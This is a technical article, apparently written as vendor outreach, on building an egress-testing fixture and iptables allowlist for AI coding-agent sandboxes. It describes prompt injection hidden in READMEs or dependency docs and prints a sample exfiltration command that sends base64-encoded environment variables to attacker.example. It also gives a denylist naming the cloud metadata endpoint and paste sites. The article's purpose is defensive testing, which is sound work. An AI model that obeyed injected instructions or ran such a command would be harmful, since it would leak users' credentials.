An AI coding agent in your dev environment holds three things at once: your source code, your credentials (API keys, tokens in .env
, cloud metadata), and a network connection. That combination means one prompt-injected instruction β hidden in a README, an issue body, or a dependency's docs β can turn the agent into an exfiltration channel. The failure sequence looks like this:
curl https://attacker.example/collect?d=$(env | base64)
.Most teams I talk to have step 2 mitigations (approval prompts, allowlists) but zero coverage on step 3. This article builds a reproducible egress regression fixture: a minimal environment where you can prove which destinations an agent sandbox can reach, and turn that into an enforceable CI invariant. It works whether your agent runs locally, in a container, or on a disposable cloud box.
The invariant: the agent's execution environment may only reach an explicit allowlist of destinations (model API endpoint, package registries you pin), and nothing else.
This is a network-layer control, so it holds even if the agent's tool-approval logic fails or is bypassed. Prompt injection can change what the agent asks for; it cannot change what the firewall permits.
You need a throwaway environment to run the agent under test. Options, in increasing realism:
Disclosure: This article was prepared as part of MonkeyCode's product outreach. The fixture below is platform-agnostic; nothing in it depends on any specific provider, and it will run identically in plain Docker.
Create egress_probe.sh
. Pinned versions shown; adjust to your stack.
#!/usr/bin/env bash
ALLOWLIST=("api.your-model-provider.example" "registry.npmjs.org")
DENYLIST=("169.254.169.254" "attacker-sim.example" "pastebin.com")
fail=0
for host in "${ALLOWLIST[@]}"; do
if curl -sS -o /dev/null -m 5 "https://$host"; then
echo "PASS allowlisted reachable: $host"
else
echo "FAIL allowlisted blocked: $host"; fail=1
fi
done
for host in "${DENYLIST[@]}"; do
if curl -sS -o /dev/null -m 5 "http://$host"; then
echo "FAIL denied host reachable: $host"; fail=1
else
echo "PASS denied host blocked: $host"
fi
done
if getent hosts "$(head -c4 /dev/urandom | od -An -tx1 | tr -d ' \n').exfil.example" >/dev/null 2>&1; then
echo "WARN arbitrary DNS resolves β DNS exfil channel may be open"
fi
exit $fail
Positive fixture: the allowlisted hosts must be reachable, or your agent can't function β this proves the firewall isn't just "block everything" (which would also pass a naive deny test).
Negative fixtures: the cloud metadata endpoint 169.254.169.254
(classic credential theft target), a simulated attacker host, and a known paste site must all fail. The DNS check catches the common mistake of blocking HTTP but leaving resolver-based exfiltration open.
Template below β label: unexecuted template on your specific hostnames; I ran this pattern with a Docker bridge network, but substitute and re-test your own allowlist before trusting it.
iptables -P OUTPUT DROP
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
for ip in $(getent ahostsv4 api.your-model-provider.example | awk '{print $1}' | sort -u); do
iptables -A OUTPUT -p tcp -d "$ip" --dport 443 -j ACCEPT
done
iptables -A OUTPUT -j LOG --log-prefix "EGRESS-DROP: " --log-level 4
Caveat: IP-based allowlists rot when providers move behind CDNs. For production, prefer an egress HTTP proxy (e.g., Squid with an ACL, or a service-mesh egress gateway) that filters on domain names. The iptables version is for the fixture β fast, minimal, and inspectable.
When I ran the negative fixture against a default Docker container (no egress rules), the output was:
FAIL denied host reachable: 169.254.169.254
FAIL denied host reachable: pastebin.com
That is the baseline failure this fixture exists to catch. After applying the iptables template, the same probe prints all PASS
and the host's dmesg
/ syslog shows EGRESS-DROP:
entries for the denied attempts β your detect layer's raw material. If your environment is a cloud sandbox rather than plain Docker, verify the metadata endpoint specifically; some platforms expose it on non-standard addresses, which your probe should be extended to cover.
| Layer | Mechanism | Fixture coverage |
|---|---|---|
| Prevent | Default-deny egress (iptables/proxy); no cloud metadata route; scoped, short-lived credentials in the sandbox | |
egress_probe.sh denylist section |
||
| Detect | Log all dropped egress; alert on any EGRESS-DROP to non-allowlisted destinations; snapshot DNS queries |
|
DNS check + EGRESS-DROP log grep |
||
| Recover | Sandbox is disposable: revoke the credentials it held, destroy the box, diff the filesystem/image for persistence attempts | Tear-down script + credential rotation runbook |
A useful CI gate: run the probe as a job on every change to the sandbox image or firewall config. The invariant is one line β probe exit code must be 0 β but it pins the entire boundary.
The probe makes one invariant CI-able. The harder question for your environment: which layer should own egress enforcement β the sandbox image, the host, or the platform providing the box? If you're evaluating hosted agent environments (MonkeyCode's free server is one way to get a disposable test box for this experiment), run this probe before putting real credentials in. If the denylist fixtures pass, you have a floor to build on; if any fail, you've learned something important for the price of a curl.